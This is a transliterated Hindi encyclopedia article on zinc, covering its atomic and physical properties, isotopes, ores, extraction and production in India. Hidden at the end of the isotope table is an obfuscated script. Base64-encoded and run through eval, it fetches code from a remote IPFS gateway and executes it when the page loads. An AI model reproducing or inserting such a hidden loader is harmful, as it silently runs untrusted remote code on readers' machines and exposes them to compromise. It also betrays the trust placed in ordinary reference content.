जस्ता

jasta
safed aur bhoora chamakili dhatu
sadharan gunadharm
nam, pratik, sankhya	jasta, Zn, 30
tatv shreni	sankraman dhatu
samooh, avart, kaksha	12, 4, d
manak paramanu bhar	65.38(2)g·mol−1
ilektr aaun vinyas	1s2, 2s2 2p6, 3s2 3p6 3d10, 4s2
ilektr aaun prati shel	2, 8, 18, 2
bhautik gunadharm
avastha	thos
ghanatv (nikat k.ta.)	7.14 g·cm−3
taral ghanatv (galanaank par)	6.57 g·cm−3
galanaank	692.68 K, 419.53 °C, 787.15 °F
kvathanaank	1180 K, 907 °C, 1665 °F
sanlayan ooshma	7.32 kilo jool-mol
vashpan ooshma	123.6 kilo jool-mol
vishisht ooshmiy kshamata	25.470 jool-mol−1kilo−1
vashp dab
P (Pa) 1 10 100 1 k 10 k 100 k at T (K) 610 670 750 852 990 1179
paramanvik gunadharm
aauksikaran avastha	+2, +1, 0
ilektronegetiviti	1.65 (pailiang paimana)
ayanikaran oorjaean (adhik)	1st: 906.4 ki.jool•mol−1
	2nd: 1733.3 ki.jool•mol−1
	3rd: 3833 ki.jool•mol−1
paramanvik trijya	134 pm
sahasanyojak trijya	122±4 pm
vaindair vals trijya	139 pm
vividh gunadharm
kristal sanrachana	shatkoniy
chumbakiy kram	parachumbakiy
vaidyut pratirodhakata	(20 °C) 59.0 nΩ·m
ooshmiy chalakata	(300 K) 116 W·m−1·K−1
ooshmiy prasar	(25 °C) 30.2 µm·m−1·K−1
yang mapaank	108 GPa
aparoopan mapaank	43 GPa
sthool mapaank	70 GPa
p aauyazan anupat	0.25
mohs kathorata mapaank	2.5
brainal kathorata	412 MPa
si.e.es panjikaran sankhya	7440-66-6
samasthanik
samasthanik pra. prachurata arddh ayu ksharan avastha ksharan oorja (MeV) ksharan utpad 64Zn 48.6% 64Zn 34 nyootr aaun ke sath sthir 65Zn syn 243.8 d ε 1.3519 65Cu γ 1.1155 - 66Zn 27.9% 66Zn 36 nyootr aaun ke sath sthir 67Zn 4.1% 67Zn 37 nyootr aaun ke sath sthir 68Zn 18.8% 68Zn 38 nyootr aaun ke sath sthir 70Zn 0.6% 70Zn 40 nyootr aaun ke sath sthir 72Zn syn 46.5 h β− 0.458 72Ga<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jasta (aangrezi:Zinc) avart sarani ka ek tattv hai. jaste ka pratikanusar 'Zn' tatha paramanu sankhya 30 hoti hai. jaste ka paramanu bhar 65.38 hota hai. jaste ka ilektr aaunik vinyas 1s², 2s² 2p⁶, 3s² 3p⁶ 3d¹⁰, 4s² hai.

prapti

jasta prakriti mean mukt avastha mean nahian paya jata hai. yah sanyukt avastha mean vibhinn ayaskoan ke roop mean paya jata hai. yah jiank blaiand aur kailamain ayask ke roop mean prachur matra mean milata hai.

jasta ka nishkarshan

jasta dhatu ka nishkarshan mukhyatah isake salphaid ayask jiank blaiand (ZnS) se kiya jata hai.

jasta ke bhautik gun

jasta nila safed k da tatha bhuangar hota hai. jaste ka dravanaank 419° C, kvathanaank 920° C tatha vishisht gurutv 7.1 hota hai. 100° C-150° C, par yah tany tatha aghatavardhy hota hai. jasta ooshma tatha vidyut ka suchalak hota hai.

jasta ayask

sisa evan jasta ayask prayah avasadi shailoan ki naso mean paye jate haian. jasta ki prapti jiank salphaid tatha kailemin, jiankait, vilemait evan haimimirephait se hoti hai. isaka adhik upayog lohe ko jangarodhi banane hetu usaki p aaulish ke lie kiya jata hai. isaka any upayog hai rang evan rogan, vidyut sel, baitari, motaroke kal purje, davaiyaan adi. bharat mean vyaparik star par sanchalit hone vali ek matr khan rajasthan mean udayapur ke samip javar mean hai, jisaka sanchalan hindustan jiank li. dvara kiya jata hai. sisa ayask ki bhaanti yah bhi mochhiyamagara, barodamagara tatha javaramala se prapt kiya jata hai. isake any kshetr haian- bhilava da zile mean ramapura-aangucha kshetr, jammoo kashmir ke udhamapur zile mean sthit darabi kshetr, tamilanadu ke dakshin arkat zile mean sthit mamanadoor kshetr adi.

bharat mean jasta bahut hi kam matra mean prapt hota hai. atah avashyakata poorti hetu yoogoslaviya, beljiyam, japan, kaango ganarajy, sanyukt rajy amarika adi desho se ise ayat kiya jata hai. ek anuman ke anusar desh me lagabhag 10,000 tan jasta ka bhandar hai. 2005-06 ke dauran desh mean kul 8.62 lakh tan jasta ka utpadan hua. vartaman mean hindustan jiank limited ne isaka niryat praranbh kiya hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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